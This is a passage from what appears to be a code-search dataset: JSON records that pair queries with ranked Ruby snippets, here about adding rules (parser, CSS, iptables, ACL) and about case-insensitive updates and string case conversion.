? nil : self.method(r[4])\n addRule(newRule, @weights[r[0]], rep, dfn)\n\n end\n\n end", "title": "" }, { "docid": "13f290857fc915c1099beea48a012893", "score": "0.65367025", "text": "def operator(op)\n @rules << Rule.new(op.pattern, op.symbol)\n end", "title": "" }, { "docid": "7db62f266cd2114b027c994ee63bac8d", "score": "0.6515992", "text": "def rule(method, matcher)\n @rules[method] = matcher\n end", "title": "" }, { "docid": "2c5a0bb7bc4046ddcf7171ac5c377618", "score": "0.6513752", "text": "def rule(expression, &block)\n # Prepend new rules so they have higher precedence than older rules\n @rules.unshift([Parslet::Pattern.new(expression), block])\n end", "title": "" }, { "docid": "bcf5de7f8d038574d843b1bc9323b832", "score": "0.64709765", "text": "def rule(lhs, *rhs)\n ensure_syntax_definition_not_completed!\n\n @raw_rules << [lhs, rhs]\n end", "title": "" }, { "docid": "eec6ddac57610f8f326fff072654ebdf", "score": "0.6436995", "text": "def rule name, regexp, data = {}, &block\n rules[name] = Rule.new regexp, data, block || after\n end", "title": "" }, { "docid": "1f7463e8fca497f0b674e81d90362120", "score": "0.6418265", "text": "def add_rule(style_sheet_id:, rule_text:, location:)\n {\n method: \"CSS.addRule\",\n params: { styleSheetId: style_sheet_id, ruleText: rule_text, location: location }.compact\n }\n end", "title": "" }, { "docid": "1c5fd0b73a882fb5699eb7d8baebbba7", "score": "0.63949615", "text": "def add_rule!(selectors, declarations, media_types = :all)\n rule_set = RuleSet.new(selectors, declarations)\n add_rule_set!(rule_set, media_types)\n rescue ArgumentError => e\n raise e if @options[:rule_set_exceptions]\n end", "title": "" }, { "docid": "e1e65a06e2410d692bc669b3fda9f480", "score": "0.6380918", "text": "def new rule\n case rule\n when self then rule # already\n when Hash then bare_new isa: Hash, rule: rule\n when Array then bare_new isa: Array, rule: rule\n else bare_new isa: rule\n end\n end", "title": "" }, { "docid": "8dd3446ac5cb4ee12f485b0a7d76f8fd", "score": "0.63686883", "text": "def add_rule(line)\n name, ranges = line.split(':')\n @rules.append(TicketRule.new(name, ranges))\n end", "title": "" }, { "docid": "e63d1bb8015e1c785baa8c2a133e8741", "score": "0.6361151", "text": "def add_recurrence_rule!(rule)\n sched = schedule\n sched.add_recurrence_rule rule\n set_schedule!(sched)\n end", "title": "" }, { "docid": "1cfa4b9a71106cd7b9c9e73aa0a6f98c", "score": "0.63560516", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "b0f774b4ff3d0e98734a1b0761734cac", "score": "0.6342753", "text": "def add_rule(publisher, filter, rule)\n logger.info(\"Adding rule #{rule.value} to filter #{filter.name}\")\n return post(\"#{publisher.uri}/filters/#{filter.name}/rules.xml\", rule.to_xml)\n end", "title": "" }, { "docid": "5b8a5a23200e663a963a9821e20d64ab", "score": "0.62782305", "text": "def on(pattern=nil, &block)\n @rules << Rule.new(pattern, &block)\n end", "title": "" }, { "docid": "182177fea554effbaa62937d9cff8ce2", "score": "0.62586", "text": "def on(pattern, &action)\n\t\t\t@rules << Rule.new(pattern, action)\n\t\tend", "title": "" }, { "docid": "ebc3f64a99d344b23eaead4cfc002ee4", "score": "0.6254571", "text": "def add_rule(opts={})\n opts.each { |k,v| opts[\"#{k}\".to_sym] = v }\n update_types = [\n :name => [:owner, :group],\n :cidr_ips => [:cidr_ip, :protocol, :from_port, :to_port],\n :group => [:owner, :group, :protocol, :from_port, :to_port],\n ]\n type = (opts[:protocol] ? (opts[:cidr_ip] ? :cidr_ips : :group) : :name)\n unless update_types[type].reduce(true) { |b,field| b && opts[field] }\n arg_expectation = update_types.values.pretty_inspect\n raise ArgumentError.new(\"add_rule requires one of these groupings: #{arg_expectation}\")\n end\n\n params = {}\n update_types[type].each { |field| params[field] = opts[field] }\n\n uri = URI.parse(self.href)\n connection.put(uri.path, params)\n\n self.reload\n end", "title": "" }, { "docid": "06394bd8f0b05cd666b940332024d7c4", "score": "0.62208116", "text": "def rule(match, &block)\n @rules << Rewriter::Match.coerce(match, block)\n end", "title": "" }, { "docid": "1f69057d1031362b9976fe2f4c7cc747", "score": "0.62190026", "text": "def add_new_rule(rule)\n create_new_rule_link.click\n rule_version_select.select(rule['version name'])\n version_min_input.type_text(rule['min version']) if rule.has_key?('min version')\n version_max_input.type_text(rule['max version']) if rule.has_key?('max version')\n os_min_input.type_text(rule['min os']) if rule.has_key?('min os')\n os_max_input.type_text(rule['max os']) if rule.has_key?('max os')\n arch_input.type_text(rule['Arch']) if rule.has_key?('Arch')\n install_command_input.type_text(rule['Install CMD']) if rule.has_key?('Install CMD')\n version_required_select.select(rule['Req?']) if rule.has_key?('Req?')\n rule_enabled_select.select(rule['On?']) if rule.has_key?('On?')\n rule_save_btn.click\n confirm_change_upgrade_rule\n end", "title": "" }, { "docid": "c5267d0f7bd01a5322042dcc44e7c1f2", "score": "0.62170535", "text": "def add_single_rule(field, key_or_klass, params = nil)\n klass = if key_or_klass.respond_to?(:new)\n key_or_klass\n else\n get_rule_class_by_name(key_or_klass)\n end\n\n args = [params].compact\n rule = klass.new(*args)\n rule.obj = @obj if rule.respond_to?(:obj=)\n rules[field] << rule\n end", "title": "" }, { "docid": "8ef020381390c05124e8a2ff7d57c813", "score": "0.62019044", "text": "def add_rules(action_results, exec)\n action_results.each {|actr| @rules[actr] = exec}\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "8bb6bd7e9e426c26e22806b09d43efc9", "score": "0.61982554", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "4beb3786755b9629170a11b1a304e2da", "score": "0.6192947", "text": "def create_rule(type, *opts)\n r = Rule.create_rule(type, *opts)\n self << r\n r\n end", "title": "" }, { "docid": "0909dc3871e0bdcdb2addf03eda42843", "score": "0.6191278", "text": "def add_rules # rubocop:disable AbcSize\n converge_by(\"Adding rules to #{new_resource}\") do\n Chef::Log.info(\"Adding rules to #{new_resource}\")\n load_balancer.client['LocalLB.VirtualServer']\n .add_rule [new_resource.vs_name],\n [rules_datastructure]\n current_resource.rules(new_resource.rules)\n\n new_resource.updated_by_last_action(true)\n end\n end", "title": "" }, { "docid": "a02beff1379a6b8102621b5fde428aef", "score": "0.6184671", "text": "def add(names, rules = Rules.new)\n self[sanitize_names!(names)] = rules\n end", "title": "" }, { "docid": "bea4569b72f59ecf8c8cd1fa0d0e9f8c", "score": "0.61648965", "text": "def add!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 7)\n\n type = ADD\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 347:6: '+'\n match(?+)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 7)\n\n end", "title": "" }, { "docid": "89db294ac3cb4122e256442f0b83e7a2", "score": "0.6156385", "text": "def add_exception_rule(rule)\n @all_exception_rules << rule unless @all_exception_rules.include?(rule)\n end", "title": "" }, { "docid": "89db294ac3cb4122e256442f0b83e7a2", "score": "0.6156385", "text": "def add_exception_rule(rule)\n @all_exception_rules << rule unless @all_exception_rules.include?(rule)\n end", "title": "" }, { "docid": "03a4a4bc336a3c8454e8c9b9f9d4eced", "score": "0.6147012", "text": "def add_replacement(keyword, replacement)\n @rules[keyword] ||= Rule.new(keyword)\n @rules[keyword] << replacement\n end", "title": "" }, { "docid": "363a86abfd1e6ef7f80f43bdc46d0a22", "score": "0.6133438", "text": "def set_rule_set\n @rule_set = RuleSet.find_by(object_key: params[:id])\n end", "title": "" }, { "docid": "29fc62fa69f36c07b26a1866d72a30e0", "score": "0.60965693", "text": "def append_rules(table, new_rules)\n Array(new_rules).each do |rule|\n if rule.is_a?(String)\n rule = PuppetX::SIMP::IPTables::Rule.new(rule)\n end\n\n if rule.is_a?(PuppetX::SIMP::IPTables::Rule)\n process_rule(rule)\n\n if @tables[table][:rules].empty?\n @tables[table][:rules] << rule\n else\n end_index = @tables[table][:rules].rindex{|x| x.chain == rule.chain} || -2\n\n unless rule == @tables[table][:rules][end_index]\n end_index = end_index + 1\n\n @tables[table][:rules].insert(end_index, rule)\n end\n end\n else\n fail \"rule must be a PuppetX::SIMP::IPTables::Rule not #{rule.class}\"\n end\n end\n end", "title": "" }, { "docid": "9f30f4501585e228d0a2ab428024f25c", "score": "0.6057972", "text": "def new_rule(kind, name, opts)\n rule = Rule.new(kind, name, opts)\n @rules << rule\n rule.bind(klass) if rule.name\n end", "title": "" }, { "docid": "93dde9030c5760279c2a543de555f847", "score": "0.6044566", "text": "def save_rule(rule, opts = {})\n save_rules([rule], opts)\n end", "title": "" }, { "docid": "c4850bbd7a2a7f6b98d5c298f6a2a11f", "score": "0.60431224", "text": "def add_new_rule(rule)\n upgrade_to_select.select(rule['Update To']) if rule.has_key?('Update To')\n\n if rule.has_key?('Current Version >=') && rule.has_key?('Current Version <=')\n current_version_select.select('Between')\n version_min_input.type_text(rule['Current Version >='])\n version_max_input.type_text(rule['Current Version <='])\n elsif rule.has_key?('Current Version >=')\n current_version_select.select('>=')\n version_min_input.type_text(rule['Current Version >='])\n elsif rule.has_key?('Current Version <=')\n current_version_select.select('<=')\n version_max_input.type_text(rule['Current Version <='])\n end\n\n user_group_select.select(rule['User Group']) if rule.has_key?('User Group')\n os_min_select.select(rule['OS >=']) if rule.has_key?('OS >=')\n os_max_select.select(rule['OS <=']) if rule.has_key?('OS <=')\n required_cb.check if rule['Required'] == 'Yes'\n install_command_select.select(rule['Install Command']) if rule.has_key?('Install Command')\n submit_button.click\n\n end", "title": "" }, { "docid": "3531cd5bf9fa35270965ac716fd229ef", "score": "0.6037283", "text": "def add_rule_observers!\n rules.each do |rule|\n self.add_observer(rule, :fire!)\n end\n end", "title": "" }, { "docid": "661966058b3f87322f96a326553fc388", "score": "0.6032557", "text": "def add_rule(type)\n find(:id, \"add-#{type}-rule\").click\n end", "title": "" }, { "docid": "2fc747c6e37bd4d3fc96dfccf5ffe1bb", "score": "0.6031064", "text": "def add(name, probability=0.5, &closure)\n @rules[name] ||= []\n @rules[name] << Rule.new(closure,probability)\n end", "title": "" }, { "docid": "93e1f5fb58716037acc17150fa846a58", "score": "0.60183644", "text": "def add_rules(&block)\n\n instance_eval(&block) if block\n\n self\n end", "title": "" }, { "docid": "a6d26ee6d6aa3d63c4beb9d7c88e85bf", "score": "0.5998328", "text": "def make_repetition_rule(new_rule_name, rule_name)\n partial_status = if include_rule?(rule_name)\n get_rule(rule_name).partial_status\n else\n true\n end\n rule = Rule.new(new_rule_name,\n /undefined/,\n partial_status,\n ebnf_rep([rule_name]))\n prepare_first_set(rule)\n if partial_status\n self.push rule\n else\n self.push rule.compute_start_rxp(self)\n end\n end", "title": "" }, { "docid": "3e57ca2ef6cb9d4a7ae93ba42671d622", "score": "0.598914", "text": "def rule(expression, &block)\n @rules << [\n Parslet::Pattern.new(expression), \n block\n ]\n end", "title": "" }, { "docid": "e46894aaa9a95a2ad422d03bcb6234d7", "score": "0.5985945", "text": "def add_to_acl(role, rule)\n acl = read_acl\n if acl[role]\n acl[role].merge_rule rule\n else\n acl[role] = rule\n end\n end", "title": "" }, { "docid": "b798a7fee6d6ce81e72fb0d2b99e5c28", "score": "0.59844154", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "b798a7fee6d6ce81e72fb0d2b99e5c28", "score": "0.59844154", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "b798a7fee6d6ce81e72fb0d2b99e5c28", "score": "0.59844154", "text": "def set_rule\n @rule = Rule.find(params[:id])\n end", "title": "" }, { "docid": "68dc137e5ab460c84dafce74c94c4993", "score": "0.59833944", "text": "def create\n @ruleset = Ruleset.find(params[:ruleset_id])\n @rule = @ruleset.rules.build(params[:rule])\n\n respond_to do |format|\n if @rule.save\n format.html { redirect_to [@ruleset, @rule], notice: 'Rule was successfully created.' }\n format.json { render json: @rule, status: :created, location: @rule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ef6cf93a356b6a68bb5648404b12ec5", "score": "0.5979595", "text": "def add_battle_rule(rule, category, type)\n case category\n when :victory\n case type.downcase\n when \"set\"\n @battle_rules.set_victory_rule(rule)\n when \"add\"\n @battle_rules.add_victory_rule(rule)\n end\n when :defeat\n case type.downcase\n when \"set\"\n @battle_rules.set_defeat_rule(rule)\n when \"add\"\n @battle_rules.add_defeat_rule(rule)\n end\n end\n end", "title": "" }, { "docid": "d06a5183aaefc67da06c159fe8ce085a", "score": "0.59784496", "text": "def add_exception_rule(rule)\n raise ArgumentError.new('Argument must be a valid rule') unless rule.class < Rule\n @exrule_occurrence_heads << RuleOccurrence.new(rule, @start_date, @end_time)\n end", "title": "" }, { "docid": "6e06291bb32d00cf1ce3f5388aab4eec", "score": "0.5978303", "text": "def make_option_rule(new_rule_name, rule_name)\n partial_status = if include_rule?(rule_name)\n get_rule(rule_name).partial_status\n else\n true\n end\n rule = Rule.new(new_rule_name,\n /undefined/,\n partial_status,\n ebnf_opt([rule_name]))\n prepare_first_set(rule)\n if partial_status\n self.push rule\n else\n self.push rule.compute_start_rxp(self)\n end\n end", "title": "" }, { "docid": "d3d01ad2ef86db02f7e9c00de1067cb7", "score": "0.59736294", "text": "def add_ruleset(parms)\n orig = parms[:original]\n EmendationRule.create!(parms) unless orig==parms[:replacement]\n parms[:original] = orig+'.'\n EmendationRule.create!(parms)\n parms[:original] = orig+':'\n EmendationRule.create!(parms)\n parms[:original] = orig+'-'\n EmendationRule.create!(parms)\nend", "title": "" }, { "docid": "71d55a6f09ae5d3184090013cfe6af51", "score": "0.59339064", "text": "def define_rule(expr, multiline_expr = nil, &block)\n if multiline_expr.nil?\n rule = Parser::Rule.new(expr, {}, &block)\n else\n rule = Parser::MultilineRule.new(expr, multiline_expr, {}, &block)\n end\n @rules << rule\n end", "title": "" }, { "docid": "4fa11bc0959200340910adcf322bd66e", "score": "0.59313285", "text": "def add_rule(key, length, prefixes)\n unless brands.has_key?(key)\n raise Error.new(\"brand #{key} is undefined, please use #add_brand method\")\n end\n length, prefixes = Array(length), Array(prefixes)\n brands[key][:rules] << {length: length, regexp: compile_regexp(prefixes), prefixes: prefixes}\n end", "title": "" }, { "docid": "8dd6d127dabd846a158156bceaf302ab", "score": "0.5922966", "text": "def add_rule origin, methods, headers: nil, max_age: nil\n push Rule.new(origin, methods, headers: headers, max_age: max_age)\n end", "title": "" }, { "docid": "796a00ed308420dd1d92fe804a71df6a", "score": "0.59197134", "text": "def rule(*args)\n TaskLib.new.define_rule(args)\n end", "title": "" }, { "docid": "94e9691cdf393abaefe610b1267374cd", "score": "0.59192187", "text": "def rule(name, *args)\n value = args.map{|v| Utils.convert_value(v)}.join(\" \")\n name = name.to_s.gsub(/_/, \"-\")\n @rules << [name, value]\n end", "title": "" }, { "docid": "05d3460c3d1d8ac31d941cda9d0d6067", "score": "0.5913121", "text": "def rule(name, opts = {})\n rules[name] = {}\n rules[name].merge!(opts)\n end", "title": "" }, { "docid": "412764380fa918f78fd844d1974dff9f", "score": "0.59106827", "text": "def rule(code, name, &block)\n @rules = [] if @rules.nil?\n @rules << Rule.new(code, name)\n yield self\n end", "title": "" } ]
8567fd01b3a92bd29dcdd6958561952a
PATCH/PUT /case_insensitives/1 PATCH/PUT /case_insensitives/1.json
[ { "docid": "495177d1b873ed5d7f39436128139f0f", "score": "0.71098655", "text": "def update\n respond_to do |format|\n if @case_insensitive.update(case_insensitive_params)\n format.html { redirect_to @case_insensitive, notice: 'Case insensitive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @case_insensitive.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "3f5b070d61e026e7a68931defcbe68d0", "score": "0.7059685", "text": "def update!(**args)\n @case_sensitive = args[:case_sensitive] if args.key?(:case_sensitive)\n end", "title": "" }, { "docid": "c83f64b18b5da0388f668d73d9ebac43", "score": "0.646374", "text": "def set_case_insensitive\n @case_insensitive = CaseInsensitive.find(params[:id])\n end", "title": "" }, { "docid": "474ecd8b86fb2c299a621c497396a871", "score": "0.64606", "text": "def case_insensitivity\n if url_params['case_insensitive'] == \"true\"\n \"&case_insensitive=on\"\n else\n \"\"\n end\n end", "title": "" }, { "docid": "ce5720b494b27e449044bef6f83a83dd", "score": "0.6167719", "text": "def bh_update_textfields_to_uppercase\n name = params[:name].upcase\n @json_data = { \"name\" => name }\n render json: @json_data\n end", "title": "" }, { "docid": "e2b06b9252100883157efe61ed633469", "score": "0.6048521", "text": "def test_update_string_with_body_corner_case()\n # Parameters for the API call\n value = ''\n\n # Perform the API call through the SDK function\n result = @controller.update_string(value)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.5897959", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "f3dfbd28679d04145cb5e3472a6c5834", "score": "0.5865806", "text": "def test_update_string_with_form_corner_case()\n # Parameters for the API call\n value = ' '\n\n # Perform the API call through the SDK function\n result = @controller.update_string_with_form(value)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end", "title": "" }, { "docid": "6eca889ce2ce4d42b9d3d513bfcf2c62", "score": "0.57826215", "text": "def update!(**args)\n @glossary = args[:glossary] if args.key?(:glossary)\n @ignore_case = args[:ignore_case] if args.key?(:ignore_case)\n end", "title": "" }, { "docid": "bad9794d79115f9eb6dccc1d53adc93e", "score": "0.57649803", "text": "def test_case_insensitivity\n data = JSON.parse(File.read(User::JSON_FILENAME))\n key = 'name'\n val = data[0]['name'].downcase\n results = User.new(key, val).search\n assert_block('The search must ignore string case while matching') { results.include?(data[0]) }\n end", "title": "" }, { "docid": "d7c03add20a535d5b5d60bf1218e9eea", "score": "0.57531214", "text": "def swapcase!() end", "title": "" }, { "docid": "da045b6b70b0f0dd75d69433df2d11d4", "score": "0.57141757", "text": "def change_lowercase\n self.title.downcase! if self.title\n self.author.downcase! if self.author\n end", "title": "" }, { "docid": "da045b6b70b0f0dd75d69433df2d11d4", "score": "0.57141757", "text": "def change_lowercase\n self.title.downcase! if self.title\n self.author.downcase! if self.author\n end", "title": "" }, { "docid": "94737cb8a7ff8b7abc1c119623679564", "score": "0.56806433", "text": "def case_sensitive?\n true\n end", "title": "" }, { "docid": "aa17ab549ccb568815e1f999a880d17c", "score": "0.5668829", "text": "def swapcase() end", "title": "" }, { "docid": "0c828704568ae537be74841766bfe7f4", "score": "0.5644925", "text": "def downcase_keys!\n replace(downcase_keys)\n end", "title": "" }, { "docid": "d7196cd4b112cd13baaa16370e5c0f1b", "score": "0.56164044", "text": "def case_sensitive!\n @flags &= ~File::FNM_CASEFOLD\n end", "title": "" }, { "docid": "9a281996369ce5e0c7e8bc3836e4595f", "score": "0.55993325", "text": "def same_case( str , options = Hash.new )\n return str.upcase if options[:upcase]\n return str.upcase if options[:downcase] == false\n str.downcase\nend", "title": "" }, { "docid": "122788c704b97ab623eb87233fa07281", "score": "0.5595362", "text": "def same_case( str , options = Hash.new )\n return str.upcase if options[:upcase] || options[:downcase] == false\n str.downcase\nend", "title": "" }, { "docid": "ddef40cd2ac74b73cff18253c9bf1c65", "score": "0.5568716", "text": "def same_case( your_string , options = Hash.new )\n return your_string.upcase if options[:upcase] == true\n return your_string.upcase if options[:downcase] == false\n your_string.downcase\nend", "title": "" }, { "docid": "854781e1927f44bb366313352e26722b", "score": "0.5559346", "text": "def case_sensitive_matching=(value)\n @case_sensitive_matching = value\n end", "title": "" }, { "docid": "c31ea029489b474065d4a87d14ea51af", "score": "0.5552293", "text": "def set_CaseSensitive(value)\n set_input(\"CaseSensitive\", value)\n end", "title": "" }, { "docid": "6b158c4ef1cb9723537d75a6464ce807", "score": "0.5550719", "text": "def update_case\n api.command :edit, to_case_hash\n end", "title": "" }, { "docid": "bcd28b3c4bb26483486ca0f484e60178", "score": "0.55504173", "text": "def name_case!\n self.gsub!(self, self.name_case)\n end", "title": "" }, { "docid": "9f5e34aa0ae73e4e3c48f38cbb15c92a", "score": "0.5544336", "text": "def update_case(id, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n response = put(\"cases/#{id}\",options)\n response.case\n end", "title": "" }, { "docid": "3d5fbb436222ac958499d5185de7c605", "score": "0.5531549", "text": "def camelcase_params!(params)\n params.keys.select {|key| key.is_a?(Symbol) && key.to_s.include?(?_) }.each do |key|\n camelcase_key = camelize(key)\n camelcase_key[0] = camelcase_key[0].chr.downcase\n params[camelcase_key] = params.delete(key)\n end\n end", "title": "" }, { "docid": "07fd5bfad95fc6294ca67f5f571d8a34", "score": "0.5528966", "text": "def downcase_keys\n dup.downcase_keys!\n end", "title": "" }, { "docid": "185edf76e309f2376aa114184b7c231a", "score": "0.5528426", "text": "def downcase_keys(json)\n json.gsub(/\"\\w+\":/) { |m| m.downcase }\n end", "title": "" }, { "docid": "2a2b3a5eaeb5f389b163554ff76603c5", "score": "0.5507426", "text": "def update\n respond_to do |format|\n if @sensitive.update(sensitive_params)\n format.html { redirect_to xmt_press_sensitives_path, notice: '敏感词修改成功.' }\n format.json { render :show, status: :ok, location: @sensitive }\n else\n format.html { render :edit }\n format.json { render json: @sensitive.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e857aed4e063c4abd5ee26779d0830f0", "score": "0.5507321", "text": "def upcase!() end", "title": "" }, { "docid": "d9a39dde17cf574afc327bcf0ddf856b", "score": "0.5489178", "text": "def setCaseSensitive(value)\n if value != false && value != true\n case value.downcase\n when 'on', 'true', 'yes', 'y', '1'\n @caseSensitive = true\n when 'off', 'false', 'no', 'n', 0\n @caseSensitive = false\n end\n else\n @caseSensitive = value\n end\n end", "title": "" }, { "docid": "1b44e5e812ff5c2ce2007d66c085c74b", "score": "0.5487768", "text": "def update!(**args)\n @case_sensitive = args[:case_sensitive] if args.key?(:case_sensitive)\n @field = args[:field] if args.key?(:field)\n @field_index = args[:field_index] if args.key?(:field_index)\n @replace_string = args[:replace_string] if args.key?(:replace_string)\n @search_string = args[:search_string] if args.key?(:search_string)\n end", "title": "" }, { "docid": "eeb1e4f2ae47d1b667573ec22658bce0", "score": "0.5479818", "text": "def upcase_keys!\n replace(upcase_keys)\n end", "title": "" }, { "docid": "4e7d5ca4e2d19b896432ba02e52ea4dc", "score": "0.54730684", "text": "def case_insensitive_match; end", "title": "" }, { "docid": "bfe5dabe66433dab7a9ae1682ca8e0d7", "score": "0.54541266", "text": "def upcase; end", "title": "" }, { "docid": "d07c116c7441c6623252419f8731b90f", "score": "0.5452121", "text": "def upcase() end", "title": "" }, { "docid": "a2557dd816825463a59fcffabc4d37d7", "score": "0.54515034", "text": "def upcase_save\n self.name = name.upcase rescue nil\n self.term_condition = term_condition.upcase rescue nil\n end", "title": "" }, { "docid": "e6ec2a1b1024e48068a51885fa7187ab", "score": "0.54358053", "text": "def test_update_string_with_body_corner_case1()\n # Parameters for the API call\n value = ' '\n\n # Perform the API call through the SDK function\n result = @controller.update_string1(value)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end", "title": "" }, { "docid": "13784c29523668e17a26cd1a037c04b0", "score": "0.5428445", "text": "def downcase_keys\n end", "title": "" }, { "docid": "a456a80228a86b8c04eb456c91739ebf", "score": "0.5406679", "text": "def sanitize_case(value, kase)\n return value if value.nil?\n\n if kase == :camelcase\n value.camelcase(:lower)\n elsif kase == :pascalcase\n value.camelcase(:upper)\n else\n value.send(kase)\n end\n end", "title": "" }, { "docid": "7ede60d18c6e2c885560bed216ed5f68", "score": "0.53970873", "text": "def index\n @case_insensitives = CaseInsensitive.all\n end", "title": "" }, { "docid": "1515f77812982ce79b7ec9cea1c75016", "score": "0.5393013", "text": "def create\n @case_insensitive = CaseInsensitive.new(case_insensitive_params)\n\n respond_to do |format|\n if @case_insensitive.save\n format.html { redirect_to @case_insensitive, notice: 'Case insensitive was successfully created.' }\n format.json { render action: 'show', status: :created, location: @case_insensitive }\n else\n format.html { render action: 'new' }\n format.json { render json: @case_insensitive.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "94235d31c35791ef73ce862e57999066", "score": "0.5372705", "text": "def lower_case!\n buffer.undo_record do |record|\n each_range do |range|\n range.lower_case!(record)\n end\n end\n end", "title": "" }, { "docid": "7ee6921de609efe222e81a18c791e14a", "score": "0.5368009", "text": "def update\n respond_to do |format|\n if @case.update(case_params)\n format.html { redirect_to cases_path, notice: 'Case was successfully updated.' }\n format.json { render action: 'index' }\n else\n format.html { render action: 'edit' }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c3e72891428e3d2ee3e559068f32a64b", "score": "0.53641695", "text": "def translate_with_consistent_case( key, options = {} )\n lower_requested = options.delete( :case ) != \"upper\"\n translation = I18n.t( key, **options )\n en = I18n.t( key, **options.merge( locale: \"en\" ) )\n default_is_lower = en == en.downcase\n lower_requested_and_default_is_lower = lower_requested && default_is_lower\n upper_requested_and_default_is_upper = !lower_requested && !default_is_lower\n if lower_requested_and_default_is_lower || upper_requested_and_default_is_upper\n return translation\n end\n\n I18n.t( \"#{key}_\", **options )\n end", "title": "" }, { "docid": "8412175d538b56c7323149a84757134a", "score": "0.5353068", "text": "def titlecase!\n replace(titlecase)\n end", "title": "" }, { "docid": "dc9e6386797e88d8621239d4f0a0d52f", "score": "0.53361803", "text": "def rl_change_case(count, op)\r\n start = @rl_point\r\n rl_forward_word(count, 0)\r\n _end = @rl_point\r\n\r\n if (op != UpCase && op != DownCase && op != CapCase)\r\n rl_ding()\r\n return -1\r\n end\r\n\r\n if (count < 0)\r\n start,_end = _end,start\r\n end\r\n\r\n # We are going to modify some text, so let's prepare to undo it.\r\n rl_modifying(start, _end)\r\n\r\n inword = false\r\n while (start < _end)\r\n c = _rl_char_value(@rl_line_buffer, start)\r\n # This assumes that the upper and lower case versions are the same width.\r\n if !@rl_byte_oriented\r\n _next = _rl_find_next_mbchar(@rl_line_buffer, start, 1, MB_FIND_NONZERO)\r\n else\r\n _next = start + 1\r\n end\r\n\r\n if (!_rl_walphabetic(c))\r\n inword = false\r\n start = _next\r\n next\r\n end\r\n\r\n if (op == CapCase)\r\n nop = inword ? DownCase : UpCase\r\n inword = true\r\n else\r\n nop = op\r\n end\r\n if (isascii(c))\r\n nc = (nop == UpCase) ? c.upcase : c.downcase\r\n @rl_line_buffer[start] = nc\r\n end\r\n\r\n start = _next\r\n end\r\n\r\n @rl_point = _end\r\n 0\r\n end", "title": "" }, { "docid": "653ffb08a06103ac7c71c8e51b50f5dd", "score": "0.53158283", "text": "def update\n @clientcase = Clientcase.find(params[:id])\n\n respond_to do |format|\n if @clientcase.update_attributes(params[:clientcase])\n format.html { redirect_to @clientcase, :notice => 'Clientcase was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @clientcase.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d12af63f85cba047eb253d793c303f49", "score": "0.5308989", "text": "def case_insensitive_match=(_arg0); end", "title": "" }, { "docid": "0ea973cf962e4ebe0f7488989441cf13", "score": "0.52908874", "text": "def name_case(options = {})\n options = { :lazy => true, :irish => true }.merge options\n\n # Skip if string is mixed case\n if options[:lazy]\n first_letter_lower = self[0] == self.downcase[0]\n all_lower_or_upper = (self.downcase == self || self.upcase == self)\n\n return self unless first_letter_lower || all_lower_or_upper\n end\n\n localstring = downcase\n localstring.gsub!(/\\b\\w/) { |first| first.upcase }\n localstring.gsub!(/\\'\\w\\b/) { |c| c.downcase } # Lowercase 's\n\n if options[:irish]\n if localstring =~ /\\bMac[A-Za-z]{2,}[^aciozj]\\b/ or localstring =~ /\\bMc/\n match = localstring.match(/\\b(Ma?c)([A-Za-z]+)/)\n localstring.gsub!(/\\bMa?c[A-Za-z]+/) { match[1] + match[2].capitalize }\n\n # Now fix \"Mac\" exceptions\n localstring.gsub!(/\\bMacEdo/, 